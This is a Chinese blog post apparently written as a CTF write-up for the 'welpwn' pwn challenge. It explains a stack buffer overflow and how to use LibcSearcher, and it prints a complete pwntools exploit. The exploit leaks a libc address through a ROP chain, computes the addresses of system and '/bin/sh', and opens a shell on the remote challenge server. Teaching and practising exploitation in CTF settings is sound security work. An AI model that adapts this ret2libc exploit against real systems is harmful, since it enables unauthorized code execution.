pwn篇:攻防世界进阶welpwn,LibcSearcher使用

攻防世界welpwn

(搬运一篇自己在CSDN写的帖子)
链接:https://blog.csdn.net/weixin_44644249/article/details/113781356
这题主要是考无Libc泄露地址和栈空间控制,在没有Libc的情况下,可以使用LibcSearcher进行动态匹配,匹配完成后会给出选项,选择libc的版本即可。如果不知道版本可以一个个试。

安装LibcSearcher

git clone https://github.com/lieanu/LibcSearcher.git

文件有点大,100多Mb

配置LibcSearcher,可以直接install,会自动build cd LibcSearcher python setup.py install

基本使用方法

from LibcSearcher import * io = process('xxxxx') xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ......一系列操作,将got地址泄露出来...... xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx puts_got_addr = io.recv()# 接收函数的got地址,比如我这里拿到puts的地址 libc = LibcSearcher('puts',puts_got_addr) libc_base = puts_got_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') ........ 继续构造payload,最终调用system

注意: 如果出现“No Moudule Name LibcSearcher”,将py文件复制到LibcSearcher根目录下,或是将LibcSearcher整个文件夹复制一份到py文件所在的文件夹下。

查看保护

IDA分析

主函数:

echo函数:

解题思路:

  • 主函数打印欢迎信息,读取了1024到缓冲区。调用echo函数
  • echo函数先将1024字节信息复制了一份到s2里面,但是s2只有16字节大小,这里就有溢出。
  • 只要在输入的时候大于16+8,就会覆盖到ret地址。
  • 通过调试可以发现s2的缓冲区刚好在buf的上面,中间只有一些返回地址
  • 也就是说,在覆盖地址后,还需要构造24字节的pop清栈,就是pop 3次,才能返回到我们想去的地址。

EXPLOIT

from pwn import * from LibcSearcher import * s = remote('111.200.241.244','44577') #s = process("./welpwn") elf = ELF("./welpwn") context.log_level = 'debug' # PPPR,清理栈空间 pop_3 = 0x000000000040089e # pop r13 ; pop r14 ; pop r15 ; ret pop_rdi = 0x00000000004008a3 # pop rdi ; ret pop_rsi = 0x00000000004008a1 # pop rsi ; pop r15 ; ret puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_func = elf.symbols['main'] padding = b'a'*24 def leak(): s.recvuntil('RCTF\n') #这里加两次padding是通过调试发现的,因为会调用两次PPPR payload = padding + p64(pop_3)+ padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_func) s.send(payload) s.recvuntil('RCTF\n') junk = s.recv(27) #通过debug信息得知有27字节的垃圾信息,才是puts的地址 print('junk == %s'%junk) puts_addr = u64(s.recv(6)+b'\x00\x00')# 对地址进行处理,组合成8字节进行解析 return puts_addr puts_addr = leak() libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') #得出libc的基址 system = libc_base + libc.dump('system') #找到system的地址 binsh = libc_base + libc.dump('str_bin_sh') #找到binsh字符串的地址 print('libc == %s'%hex(libc_base)) print('system == %s'%hex(system)) print('binsh == %s'%hex(binsh)) def overflow(): # 加了两次padding,原理同上 payload = padding + p64(pop_3) + padding + p64(pop_rdi)+p64(binsh)+p64(system) s.send(payload) overflow() s.interactive()

运行结果

这里我选的是第三个libc才成功

总结

尝试过DynELF的方式,但是无论怎样都获取不到地址,观察发现发送的数据中原来puts的地址,被改成了ELF文件头信息,所以获取到的地址是错误的,个人感觉LibcSearcher更好用。


__EOF__

本文作者unr4v31
本文链接https://www.cnblogs.com/unr4v31/p/14420256.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   unr4v31  阅读(2527)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示